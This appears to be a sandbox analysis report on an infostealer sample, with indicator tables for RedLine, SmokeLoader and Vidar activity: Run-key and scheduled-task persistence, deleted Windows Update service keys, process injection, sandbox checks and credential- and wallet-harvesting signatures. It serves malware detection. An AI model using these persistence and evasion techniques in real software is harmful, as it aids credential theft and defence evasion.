aurora | 4e7715976bd2f7409a107ed08179d8634d072f28082fa6ab7940d4f3d43ccf24

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 14 IoCs

Processes:

Gpwangiscadatahub.exeWindowsHostconhost.exe

description	pid	process	target process
PID 4412 created 700	4412	Gpwangiscadatahub.exe	Explorer.EXE
PID 4412 created 700	4412	Gpwangiscadatahub.exe	Explorer.EXE
PID 4412 created 700	4412	Gpwangiscadatahub.exe	Explorer.EXE
PID 4412 created 700	4412	Gpwangiscadatahub.exe	Explorer.EXE
PID 4412 created 700	4412	Gpwangiscadatahub.exe	Explorer.EXE
PID 4412 created 700	4412	Gpwangiscadatahub.exe	Explorer.EXE
PID 1648 created 700	1648	WindowsHost	Explorer.EXE
PID 1648 created 700	1648	WindowsHost	Explorer.EXE
PID 1648 created 700	1648	WindowsHost	Explorer.EXE
PID 1648 created 700	1648	WindowsHost	Explorer.EXE
PID 1648 created 700	1648	WindowsHost	Explorer.EXE
PID 1648 created 700	1648	WindowsHost	Explorer.EXE
PID 1388 created 700	1388	conhost.exe	Explorer.EXE
PID 1648 created 700	1648	WindowsHost	Explorer.EXE

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

122 4592 rundll32.exe
Downloads MZ/PE file

flow	pid	process
122	4592	rundll32.exe

Executes dropped EXE 19 IoCs

Processes:

C75C.exeCAE7.exeCEE0.exeD0B5.exeC75C.exeC75C.exeC75C.exebuild2.exebuild3.exebuild2.exeluE9XRS0fL.exe50B4.exeA7BE.exeBA7C.exeBF21.exeC4DE.exemstsca.exeGpwangiscadatahub.exeWindowsHost

pid	process
1496	C75C.exe
1468	CAE7.exe
1564	CEE0.exe
4324	D0B5.exe
1816	C75C.exe
1140	C75C.exe
1944	C75C.exe
1148	build2.exe
4164	build3.exe
4808	build2.exe
4744	luE9XRS0fL.exe
5036	50B4.exe
524	A7BE.exe
3672	BA7C.exe
3896	BF21.exe
2044	C4DE.exe
1236	mstsca.exe
4412	Gpwangiscadatahub.exe
1648	WindowsHost

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

C75C.exeC75C.exebuild2.exeC4DE.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	C75C.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	C75C.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	C4DE.exe

Loads dropped DLL 3 IoCs

Processes:

build2.exerundll32.exe

pid process

4808 build2.exe
4808 build2.exe
4592 rundll32.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

2672 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4808	build2.exe
4808	build2.exe
4592	rundll32.exe

pid	process
2672	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

C75C.exeC4DE.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\c1fe8281-b19c-4604-aae7-c2d0c6362641\\C75C.exe\" --AutoStart"	C75C.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsHost = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\GooglePrograms\\WindowsHost.exe\""	C4DE.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

39 api.2ip.ua
40 api.2ip.ua
60 api.2ip.ua

flow	ioc
39	api.2ip.ua
40	api.2ip.ua
60	api.2ip.ua

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

Gpwangiscadatahub.exeWindowsHost

pid process

4412 Gpwangiscadatahub.exe
4412 Gpwangiscadatahub.exe
1648 WindowsHost
1648 WindowsHost

pid	process
4412	Gpwangiscadatahub.exe
4412	Gpwangiscadatahub.exe
1648	WindowsHost
1648	WindowsHost

Suspicious use of SetThreadContext 8 IoCs

Processes:

C75C.exeC75C.exeCAE7.exebuild2.exerundll32.exeC4DE.exeWindowsHost

description	pid	process	target process
PID 1496 set thread context of 1816	1496	C75C.exe	C75C.exe
PID 1140 set thread context of 1944	1140	C75C.exe	C75C.exe
PID 1468 set thread context of 4320	1468	CAE7.exe	vbc.exe
PID 1148 set thread context of 4808	1148	build2.exe	build2.exe
PID 4592 set thread context of 3948	4592	rundll32.exe	rundll32.exe
PID 2044 set thread context of 2024	2044	C4DE.exe	MSBuild.exe
PID 1648 set thread context of 1388	1648	WindowsHost	conhost.exe
PID 1648 set thread context of 944	1648	WindowsHost	svchost.exe

Drops file in Program Files directory 4 IoCs

Processes:

WindowsHostcmd.execmd.exeGpwangiscadatahub.exe

description	ioc	process
File created	C:\Program Files\Google\Libs\WR64.sys	WindowsHost
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Windows\WindowsHost	Gpwangiscadatahub.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1564 sc.exe
2152 sc.exe
4216 sc.exe
220 sc.exe
2368 sc.exe
112 sc.exe
3448 sc.exe
3892 sc.exe
4952 sc.exe
1288 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

2312 4324 WerFault.exe D0B5.exe
456 1468 WerFault.exe CAE7.exe
3516 5036 WerFault.exe 50B4.exe

pid	process
1564	sc.exe
2152	sc.exe
4216	sc.exe
220	sc.exe
2368	sc.exe
112	sc.exe
3448	sc.exe
3892	sc.exe
4952	sc.exe
1288	sc.exe

pid	pid_target	process	target process
2312	4324	WerFault.exe	D0B5.exe
456	1468	WerFault.exe	CAE7.exe
3516	5036	WerFault.exe	50B4.exe

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

CEE0.exeluE9XRS0fL.exe222a4945a6837304d2f7fd06ad87346a.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CEE0.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CEE0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	luE9XRS0fL.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	luE9XRS0fL.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	luE9XRS0fL.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	222a4945a6837304d2f7fd06ad87346a.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	222a4945a6837304d2f7fd06ad87346a.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	222a4945a6837304d2f7fd06ad87346a.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CEE0.exe

Checks processor information in registry 2 TTPs 27 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information	rundll32.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Platform Specific Field 1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Previous Update Revision	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	rundll32.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2524 schtasks.exe
3092 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2396 timeout.exe
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command-Line Interface
T1059

Processes:

ipconfig.exeipconfig.exe

pid process

4020 ipconfig.exe
1440 ipconfig.exe
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 70 Go-http-client/1.1

pid	process
2524	schtasks.exe
3092	schtasks.exe

pid	process
2396	timeout.exe

pid	process
4020	ipconfig.exe
1440	ipconfig.exe

description	flow	ioc
HTTP User-Agent header	70	Go-http-client/1.1

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

Processes:

Explorer.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Toolbar	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	Explorer.EXE

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe

Modifies registry class 30 IoCs

Processes:

rundll32.exeExplorer.EXE

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f44471a0359723fa74489c55595fe6b30ee0000	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 820074001c0043465346160031000000000000000000100041707044617461000000741a595e96dfd3488d671733bcee28bac5cdfadf9f6756418947c5c76bc0b67f400009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004100700070004400610074006100000042000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 50003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014000000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 4e003100000000002c56984c100054656d7000003a0009000400efbe0c5519992c56984c2e00000000000000000000000000000000000000000000000000aff03000540065006d007000000014000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\NodeSlot = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

